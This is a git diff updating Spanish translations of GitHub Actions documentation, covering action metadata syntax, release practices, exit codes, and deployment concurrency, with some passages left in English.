-**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**Opcional** Te permite ejecutar un script antes de que comience la acción `entrypoint`. Por ejemplo, puedes utilizar `pre-entrypoint` para ejecutar un script de configuración de pre-requisitos. {% data variables.product.prodname_actions %} utiliza `docker run` para lanzar esta acción, y ejecuta el script dentro de un contenedor nuevo que utiliza la misma imagen base. Esto significa que el estado del tiempo de ejecución difiere de el contenedor principal `entrypoint`, y se deberá acceder a cualquier estado que requieras ya sea en el espacio de trabajo, `HOME`, o como una variable `STATE_`. La acción `pre-entrypoint:` siempre se ejecuta predeterminadamente pero la puedes invalidar utilizando [`pre-if`](#pre-if).
 
-The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+El tiempo de ejecución que ese especifica con la sintaxis de [`using`](#runsusing) ejecutará este archivo.
 
-In this example, the `pre-entrypoint:` action runs a script called `setup.sh`:
+En este ejemplo, la acción `pre.entrypoint:` ejecuta un script llamado `setup.sh`:
 
 ```yaml
 runs:
@@ -376,21 +406,21 @@ runs:
 
 ### `runs.image`
 
-**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file.
+**Requerido** La imagen de Docker a utilizar como el contenedor para ejecutar la acción. El valor puede ser el nombre de la imagen base de Docker, un `Dockerfile` local en tu repositorio, o una imagen pública en Docker Hub u otro registro. Para referenciar un `Dockerfile` local de tu repositorio, el archivo debe nombrarse como `Dockerfile` y debes utilizar una ruta relativa a tu archivo de metadatos de acción. La aplicación `docker` ejecutará este archivo.
 
 ### `runs.env`
 
-**Optional** Specifies a key/value map of environment variables to set in the container environment.
+**Opcional** Especifica mapa clave/de valores de las variables del ambiente para configurar en el ambiente del contenedor.
 
 ### `runs.entrypoint`
 
-**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction.
+**Opcional** Invalida el `ENTRYPOINT` de Docker en el `Dockerfile`, o lo configura si no se había especificado anteriormente. Utiliza `entrypoint` cuando el `Dockerfile` no especifique un `ENTRYPOINT` o cuando quieras invalidar la instrucción de `ENTRYPOINT`. Si omites el `entrypoint`, se ejecutarán los comandos que especifiques en la instrucción `ENTRYPOINT` de Docker. La instrucción `ENTRYPOINT` de Docker tiene una forma de _shell_ y una de _exec_. La documentación de `ENTRYPOINT` de Docker recomienda utilizar la forma de _exec_ de la instrucción `ENTRYPOINT`.
 
-For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)."
+Para obtener más información acerca de cómo se ejecuta el `entrypoint`, consulta la sección "[Soporte de Dockerfile para {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)".
 
 ### `post-entrypoint`
 
-**Optional**  Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because  {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`post-if`](#post-if).
+**Opcional** Te permite ejecutar un script de limpieza una vez que se haya completado la acción de `runs.entrypoint`. {% data variables.product.prodname_actions %} utiliza `docker run` para lanzar esta acción. Ya que {% data variables.product.prodname_actions %} ejecuta el script dentro de un contenedor nuevo utilizando la misma imagen base, el estado de tiempo de ejecución es diferente del contenedor principal de `entrypoint`. Puedes acceder a cualquier estado que necesites, ya sea en el espacio de trabajo, `HOME`, o como una variable `STATE_`. La acción `post-entrypoint:` siempre se ejecuta predeterminadamente, pero puedes invalidarla utilizando [`post-if`](#post-if).
 
 ```yaml
 runs:
@@ -404,17 +434,17 @@ runs:
 
 ### `runs.args`
 
-**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up.
+**Opcional** Una matriz de secuencias que defina las entradas para un contenedor de Docker. Las entradas pueden incluir cadenas codificadas de forma rígida. {% data variables.product.prodname_dotcom %} comunica los `args` en el `ENTRYPOINT` del contenedor cuando se inicia el contenedor.
 
-The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+Los `args` se usan en el lugar de la instrucción `CMD` en un `Dockerfile`. Si usas `CMD` en tu `Dockerfile`, usa los lineamientos ordenados por preferencia:
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell.
+Si necesitas pasar variables de ambiente a una acción, asegúrate que ésta ejecute un shell de comandos para realizar la sustitución de variables. Por ejemplo, si se configura tu atributo `entrypoint` como `"sh -c"`, entoces `args` se ejecutará en un shell de comandos. Como alternativa, si tu `Dockerfile` utiliza un `ENTRYPOINT` para ejecutar el mismo comando (`"sh -c"`), entonces `args` se ejecutará en un shell de comandos.
 
-For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)."
+Para obtener más información sobre el uso de la instrucción `CMD` con {% data variables.product.prodname_actions %}, consulta la sección "[Soporte de Dockerfile para {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)".
 
-#### Example
+#### Ejemplo
 
 {% raw %}
 ```yaml
@@ -430,9 +460,9 @@ runs:
 
 ## `branding`
 
-You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
+Puedes usar un color y un icono de [Pluma](https://feathericons.com/) para crear una insignia que personalice y diferencie tu acción. Los distintivos se muestran junto al nombre de tu acción en [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
 
-### Example
+### Ejemplo
 
 ```yaml
 branding:
@@ -442,11 +472,11 @@ branding:
 
 ### `branding.color`
 
-The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`.
+El color de fondo de la insignia. Puede ser: `blanco`, `amarillow`, `azul`, `verde`, `anaranjado`, `rojo`, `púrpura` o `gris oscuro`.
 
 ### `branding.icon`
 
-The name of the [Feather](https://feathericons.com/) icon to use.
+El nombre del icono de [Pluma](https://feathericons.com/) que se debe usar.
 
 <table>
 <tr>
@@ -474,9 +504,9 @@ The name of the [Feather](https://feathericons.com/) icon to use.
 <td>arrow-down</td>
 </tr>
 <tr>
-<td>arrow-left-circle</td>
+<td>arrow-down</td>
+<td>arrow-left</td>
 <td>arrow-left</td>
-<td>arrow-right-circle</td>
 <td>arrow-right</td>
 </tr>
 <tr>
diff --git a/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md b/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md
index a75f639e0f..6235e79b9f 100644
--- a/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md
+++ b/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md
@@ -17,7 +17,7 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
 After you create an action, you'll want to continue releasing new features while working with community contributions. This tutorial describes an example process you can follow to release and maintain actions in open source. The example:
 
@@ -57,7 +57,7 @@ To support the developer process in the next section, add two {% data variables.
 
 Here is an example process that you can follow to automatically run tests, create a release{% ifversion fpt or ghec%} and publish to {% data variables.product.prodname_marketplace %}{% endif %}, and publish your action.
 
-1. Do feature work in branches per GitHub flow. For more information, see "[GitHub flow](/get-started/quickstart/github-flow)."
+1. Do feature work in branches per GitHub flow. Para obtener más información, consulta la sección "[Flujo de GitHub](/get-started/quickstart/github-flow)".
    * Whenever a commit is pushed to the feature branch, your testing workflow will automatically run the tests.
 
 2. Create pull requests to the `main` branch to initiate discussion and review, merging when ready.
@@ -66,13 +66,13 @@ Here is an example process that you can follow to automatically run tests, creat
 
    * **Note:** for security reasons, workflows triggered by `pull_request` from forks have restricted `GITHUB_TOKEN` permissions and do not have access to secrets. If your tests or other workflows triggered upon pull request require access to secrets, consider using a different event like a [manual trigger](/actions/reference/events-that-trigger-workflows#manual-events) or a [`pull_request_target`](/actions/reference/events-that-trigger-workflows#pull_request_target). Read more [here](/actions/reference/events-that-trigger-workflows#pull-request-events-for-forked-repositories).
 
-3. Create a semantically tagged release. {% ifversion fpt or ghec %} You may also publish to {% data variables.product.prodname_marketplace %} with a simple checkbox. {% endif %} For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)"{% ifversion fpt or ghec %} and "[Publishing actions in {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)"{% endif %}.
+3. Create a semantically tagged release. {% ifversion fpt or ghec %} You may also publish to {% data variables.product.prodname_marketplace %} with a simple checkbox. {% endif %} Para obtener más información, consulta las secciones "[Adminsitrar los lanzamientos en un repositorio](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)"{% ifversion fpt or ghec %} y "[Publicar acciones en {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)"{% endif %}.
 
    * When a release is published or edited, your release workflow will automatically take care of compilation and adjusting tags.
 
    * We recommend creating releases using semantically versioned tags – for example, `v1.1.3` – and keeping major (`v1`) and minor (`v1.1`) tags current to the latest appropriate commit. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#using-release-management-for-actions)" and "[About semantic versioning](https://docs.npmjs.com/about-semantic-versioning).
 
-### Results
+### Resultados
 
 Unlike some other automated release management strategies, this process intentionally does not commit dependencies to the `main` branch, only to the tagged release commits. By doing so, you encourage users of your action to reference named tags or `sha`s, and you help ensure the security of third party pull requests by doing the build yourself during a release.
 
@@ -82,12 +82,12 @@ Using semantic releases means that the users of your actions can pin their workf
 
 {% data variables.product.product_name %} provides tools and guides to help you work with the open source community. Here are a few tools we recommend setting up for healthy bidirectional communication. By providing the following signals to the community, you encourage others to use, modify, and contribute to your action:
 
-* Maintain a `README` with plenty of usage examples and guidance. For more information, see "[About READMEs](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)."
-* Include a workflow status badge in your `README` file. For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)." Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt or ghec %}
-* Add community health files like `CODE_OF_CONDUCT`, `CONTRIBUTING`, and `SECURITY`. For more information, see "[Creating a default community health file](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types)."{% endif %}
+* Maintain a `README` with plenty of usage examples and guidance. Para obtener más información, consulta "[Acerca de los README](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)".
+* Include a workflow status badge in your `README` file. Para obtener más información, consulta la sección "[Agregar una insignia de estado de flujo de trabajo](/actions/managing-workflow-runs/adding-a-workflow-status-badge)". Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt or ghec %}
+* Add community health files like `CODE_OF_CONDUCT`, `CONTRIBUTING`, and `SECURITY`. Para obtener más información, consulta "[Crear un archivo de salud predeterminado para la comunidad](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types)".{% endif %}
 * Keep issues current by utilizing actions like [actions/stale](https://github.com/actions/stale).
 
-## Further reading
+## Leer más
 
 Examples where similar patterns are employed include:
 
diff --git a/translations/es-ES/content/actions/creating-actions/setting-exit-codes-for-actions.md b/translations/es-ES/content/actions/creating-actions/setting-exit-codes-for-actions.md
index 1b8f685951..0c85be8b24 100644
--- a/translations/es-ES/content/actions/creating-actions/setting-exit-codes-for-actions.md
+++ b/translations/es-ES/content/actions/creating-actions/setting-exit-codes-for-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Setting exit codes for actions
-shortTitle: Setting exit codes
-intro: 'You can use exit codes to set the status of an action. {% data variables.product.prodname_dotcom %} displays statuses to indicate passing or failing actions.'
+title: Configurar códigos de salida para acciones
+shortTitle: Configurar códigos de salida
+intro: 'Puedes usar códigos de salida para establecer el estado de una acción. {% data variables.product.prodname_dotcom %} muestra los estados para indicar las acciones que se pasan o fallan.'
 redirect_from:
   - /actions/building-actions/setting-exit-codes-for-actions
 versions:
@@ -15,18 +15,18 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About exit codes
+## Acerca de los códigos de salida
 
-{% data variables.product.prodname_dotcom %} uses the exit code to set the action's check run status, which can be `success` or `failure`.
+{% data variables.product.prodname_dotcom %} utiliza el código de salida para configurar el estado de verificación de ejecución de las acciones, el cual puede ser `success` o `failure`.
 
-Exit status | Check run status | Description
-------------|------------------|------------
-`0` | `success` | The action completed successfully and other tasks that depends on it can begin.
-Nonzero value (any integer but 0)| `failure` | Any other exit code indicates the action failed. When an action fails, all concurrent actions are canceled and future actions are skipped. The check run and check suite both get a `failure` status.
+| Estado de salida                                              | Estado de ejecución de verificación | Descripción                                                                                                                                                                                                                                                      |
+| ------------------------------------------------------------- | ----------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `0`                                                           | `success`                           | La acción se completó con éxito y pueden comenzar otras tareas que dependen de ella.                                                                                                                                                                             |
+| Valor diferente a zero (cualquier número entero que no sea 0) | `failure`                           | Cualquier otro código de salida indica que la acción fracasó. Cuando una acción fracasa, todas las acciones simultáneas se cancelan y las acciones futuras se omiten. La ejecución de verificación y el conjunto de verificaciones obtienen un estado `failure`. |
 
-## Setting a failure exit code in a JavaScript action
+## Establecer un código de salida fallida en una acción JavaScript
 
-If you are creating a JavaScript action, you can use the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failure exit code. For example:
+Si vas a crear una acción JavaScript, puedes usar el paquete del kit de herramientas [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) para registrar un mensaje y establecer un código de salida fallida. Por ejemplo:
 
 ```javascript
 try {
@@ -36,11 +36,11 @@ try {
 }
 ```
 
-For more information, see "[Creating a JavaScript action](/articles/creating-a-javascript-action)."
+Para obtener más información, consulta "[Crear una acción JavaScript](/articles/creating-a-javascript-action)".
 
-## Setting a failure exit code in a Docker container action
+## Establecer un código de salida fallida en una acción de contenedor Docker
 
-If you are creating a Docker container action, you can set a failure exit code in your `entrypoint.sh` script. For example:
+Si vas a crear una acción de contenedor Docker, puedes establecer un código de salida fallida en tu script `entrypoint.sh`. Por ejemplo:
 
 ```
 if <condition> ; then
@@ -49,4 +49,4 @@ if <condition> ; then
 fi
 ```
 
-For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+Para obtener más información, consulta "[Crear una acción de contenedor Docker](/articles/creating-a-docker-container-action)".
diff --git a/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md
index cf534d337e..cd8d4f0511 100644
--- a/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md
+++ b/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md
@@ -1,6 +1,6 @@
 ---
-title: About continuous deployment
-intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
+title: Acerca del despliegue contínuo
+intro: 'Puedes crear flujos de trabajo de despliegue continuo (DC) personalizados directamente en tu repositorio de {% data variables.product.prodname_dotcom %} con {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -11,17 +11,17 @@ redirect_from:
   - /actions/deployment/about-continuous-deployment
 topics:
   - CD
-shortTitle: About continuous deployment
+shortTitle: Acerca del despliegue contínuo
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About continuous deployment
+## Acerca del despliegue contínuo
 
 _Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment.
 
-Continuous deployment is often coupled with continuous integration. For more information about continuous integration, see "[About continuous integration](/actions/guides/about-continuous-integration)".
+Continuous deployment is often coupled with continuous integration. Para obtener más información acerca de la integración contínua, consulta la sección "[Acerca de la Integración Contínua](/actions/guides/about-continuous-integration)".
 
 ## About continuous deployment using {% data variables.product.prodname_actions %}
 
@@ -40,16 +40,16 @@ You can configure your CD workflow to run when a {% data variables.product.produ
 
 {% endif %}
 
-## Workflow templates and third party actions
+## Starter workflows and third party actions
 
 {% data reusables.actions.cd-templates-actions %}
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Further reading
+## Leer más
 
 - [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)
-- [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %}
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %}
+- [Utilizar ambientes para desplegue](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %}
+- "[Administrar la facturación para las {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %}
 
 {% endif %}
diff --git a/translations/es-ES/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/translations/es-ES/content/actions/deployment/about-deployments/deploying-with-github-actions.md
index 9bea24d6f4..31f67b281a 100644
--- a/translations/es-ES/content/actions/deployment/about-deployments/deploying-with-github-actions.md
+++ b/translations/es-ES/content/actions/deployment/about-deployments/deploying-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
 title: Deploying with GitHub Actions
-intro: Learn how to control deployments with features like environments and concurrency.
+intro: Aprende a controlar los despliegues con características como ambientes y concurrencia.
 versions:
   fpt: '*'
   ghes: '>=3.1'
@@ -11,35 +11,35 @@ redirect_from:
   - /actions/deployment/deploying-with-github-actions
 topics:
   - CD
-shortTitle: Deploy with GitHub Actions
+shortTitle: Desplegar con GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-{% data variables.product.prodname_actions %} offers features that let you control deployments. You can:
+{% data variables.product.prodname_actions %} ofrece características que te permiten controlar los despliegues. Puedes:
 
-- Trigger workflows with a variety of events.
-- Configure environments to set rules before a job can proceed and to limit access to secrets.
-- Use concurrency to control the number of deployments running at a time.
+- Activar flujos de trabajo con eventos diversos.
+- Configura ambientes para establecer reglas antes de que un job pueda proceder y para limitar el acceso a los secretos.
+- Utiliza la concurrencia para controlar la cantidad de despliegues que se ejecutan al mismo tiempo.
 
-For more information about continuous deployment, see "[About continuous deployment](/actions/deployment/about-continuous-deployment)."
+Para obtener más información sobre los despliegues continuos, consulta la sección "[Acerca de los despliegues continuos](/actions/deployment/about-continuous-deployment)".
 
-## Prerequisites
+## Prerrequisitos
 
-You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Debes estar familiarizado con la sintaxis de las {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-## Triggering your deployment
+## Activar tu despliegue
 
-You can use a variety of events to trigger your deployment workflow. Some of the most common are: `pull_request`, `push`, and `workflow_dispatch`.
+Puedes utilizar varios eventos para activar tu flujo de trabajo de despliegue. Algunos de los más comunes son: `pull_request`, `push` y `workflow_dispatch`.
 
-For example, a workflow with the following triggers runs whenever:
+Por ejemplo, un flujo de trabajo con los siguientes activadores se ejecuta en cualquier momento:
 
-- There is a push to the `main` branch.
-- A pull request targeting the `main` branch is opened, synchronized, or reopened.
-- Someone manually triggers it.
+- Hay una subida a la rama `main`.
+- Se abrió, sincronizó o reabrió una solicitud de cambios que apunta a la rama `main`.
+- Alguien lo activó manualmente.
 
 ```yaml
 on:
@@ -52,23 +52,23 @@ on:
   workflow_dispatch:
 ```
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+Para obtener más información, consulta "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows)".
 
-## Using environments
+## Utilizar ambientes
 
 {% data reusables.actions.about-environments %}
 
-## Using concurrency
+## Utilizar la concurrencia
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time.
+La concurrencia se asegura de que solo un job o flujo de trabajo que utilice el mismo grupo de concurrencia se ejecute al mismo tiempo. Puedes utilizar la concurrencia para que un ambiente tenga un máximo de un despliegue en progreso y un despliegue pendiente a la vez.
 
 {% note %}
 
-**Note:** `concurrency` and `environment` are not connected. The concurrency value can be any string; it does not need to be an environment name. Additionally, if another workflow uses the same environment but does not specify concurrency, that workflow will not be subject to any concurrency rules.
+**Nota:** la `concurrency` y el `environment` no están conectados. El valor de concurrencia puede ser cualquier secuencia; no necesita ser un nombre de ambiente. Adicionalmente, si otro flujo de trabajo utiliza el mismo ambiente pero no especifica una concurrencia, este no estará sujeto a ninguna regla de concurrencia.
 
 {% endnote %}
 
-For example, when the following workflow runs, it will be paused with the status `pending` if any job or workflow that uses the `production` concurrency group is in progress. It will also cancel any job or workflow that uses the `production` concurrency group and has the status `pending`. This means that there will be a maximum of one running and one pending job or workflow in that uses the `production` concurrency group.
+Por ejemplo, cuando se ejecuta el siguiente flujo de trabajo, este se pausará con el estado `pending` si cualquier job o flujo de trabajo que utiliza el grupo de concurrencia `production` está en progreso. También cancelará cualquier job o flujo de trabajo que utilice el grupo de concurrencia `production` y que tenga el estado de `pending`. Esto significa que habrá un máximo de un job o flujo de trabajo ejecutándose y uno pendiente que utilice el grupo de concurrencia `production`.
 
 ```yaml
 name: Deployment
@@ -89,7 +89,7 @@ jobs:
         # ...deployment-specific steps
 ```
 
-You can also specify concurrency at the job level. This will allow other jobs in the workflow to proceed even if the concurrent job is `pending`.
+También puedes especificar la concurrencia a nivel del job. Esto permitirá a otros jobs del flujo de trabajo proceder aún si el job concurrente está como `pending`.
 
 ```yaml
 name: Deployment
@@ -109,7 +109,7 @@ jobs:
         # ...deployment-specific steps
 ```
 
-You can also use `cancel-in-progress` to cancel any currently running job or workflow in the same concurrency group.
+También puedes utilizar `cancel-in-progress` para cancelar cualquier job o flujo de trabajo que se esté ejecutando concurrentemente en el mismo grupo de concurrencia.
 
 ```yaml
 name: Deployment
@@ -132,40 +132,40 @@ jobs:
         # ...deployment-specific steps
 ```
 
-## Viewing deployment history
+## Visualizar el historial de despliegues
 
-When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+Cuando se despliega un flujo de trabajo de {% data variables.product.prodname_actions %} en un ambiente, dicho ambiente se desplegará en la página principal del repositorio. Para obtener más información sobre cómo visualizar los despliegues hacia los ambientes, consulta la sección "[Ver el historial de despliegue](/developers/overview/viewing-deployment-history)".
 
-## Monitoring workflow runs
+## Monitorear las ejecuciones de flujo de trabajo
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
+Cada ejecución de flujo de trabajo genera una gráfica en tiempo real que ilustra el progreso de la misma. Puedes utilizar esta gráfica para monitorear y depurar los despliegues. Para obtener más información, consulta la sección "[Utilizar la gráfica de visualización](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)".
 
-You can also view the logs of each workflow run and the history of workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+También puedes ver las bitácoras de cada ejecución de flujo de trabajo y el historial de estos. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)".
 
-## Tracking deployments through apps
+## Rastrear los despliegues a través de las apps
 
 {% ifversion fpt or ghec %}
-If your personal account or organization on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} is integrated with Microsoft Teams or Slack, you can track deployments that use environments through Microsoft Teams or Slack. For example, you can receive notifications through the app when a deployment is pending approval, when a deployment is approved, or when the deployment status changes. For more information about integrating  Microsoft Teams or Slack, see "[GitHub extensions and integrations](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)."
+Si tu cuenta personal u organización de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} está integrada con Microsoft Teams o Slack, puedes rastrear los despliegues que utilizan ambientes a través de estos programas. Por ejemplo, puedes recibir notificaciones a través de la app cuando la aprobación de un despliegue está pendiente, cuando está aprobado o cuando cambia su estado. Para obtener más información sobre cómo integrar Microsoft Teams o Slack, consulta la sección "[Extensiones e integraciones de GitHub](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)".
 {% endif %}
 
-You can also build an app that uses deployment and deployment status webhooks to track deployments. {% data reusables.actions.environment-deployment-event %} For more information, see "[Apps](/developers/apps)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
+También puedes crear una app que utilice despliegues y webhooks de estados de despliegues para rastrearlos. {% data reusables.actions.environment-deployment-event %} Para obtener más información, consulta las secciones "[Apps](/developers/apps)" y "[Eventos y cargas útiles de los webhooks](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)".
 
 {% ifversion fpt or ghes or ghec %}
 
-## Choosing a runner
+## Elegir un ejecutor
 
-You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/reference/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+Puedes ejecutar tu flujo de trabajo de despliegue en los ejecutores hospedados en {% data variables.product.company_short %} o en los auto-hospedados. El tráfico de los ejecutores hospedados en {% data variables.product.company_short %} puede venir desde un [rango amplio de direcciones de red](/rest/reference/meta#get-github-meta-information). Si estás desplegando hacia un ambiente interno y tu compañía restringe el tráfico externo en las redes privadas, podría ser que los flujos de trabajo de {% data variables.product.prodname_actions %} que se ejecuten en ejecutores hospedados en {% data variables.product.company_short %} no se estén comunicando con tus servicios o recursos internos. Para superar esto, puedes hospedar tus propios ejecutores. Para obtener más información, consulta las secciones "[Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)" y "[Acercad e los ejecutores hospedados en GitHub](/actions/using-github-hosted-runners/about-github-hosted-runners)".
 
 {% endif %}
 
-## Displaying a status badge
+## Mostrar una insignia de estado
 
-You can use a status badge to display the status of your deployment workflow. {% data reusables.repositories.actions-workflow-status-badge-intro %}
+Puedes utilizar una insignia de estado para mostrar el estado de tu flujo de trabajo de despliegue. {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+Para obtener más información, consulta la sección "[Agregar una insignia de estado de flujo de trabajo](/actions/managing-workflow-runs/adding-a-workflow-status-badge)".
 
-## Next steps
+## Pasos siguientes
 
-This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows.
+Este artículo demostró características de las {% data variables.product.prodname_actions %} que puedes agregar a tus flujos de trabajo de despliegue.
 
 {% data reusables.actions.cd-templates-actions %}
diff --git a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
index a92d22c49c..b2cb9cdda6 100644
--- a/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
+++ b/translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Amazon Elastic Container Service
-intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows.
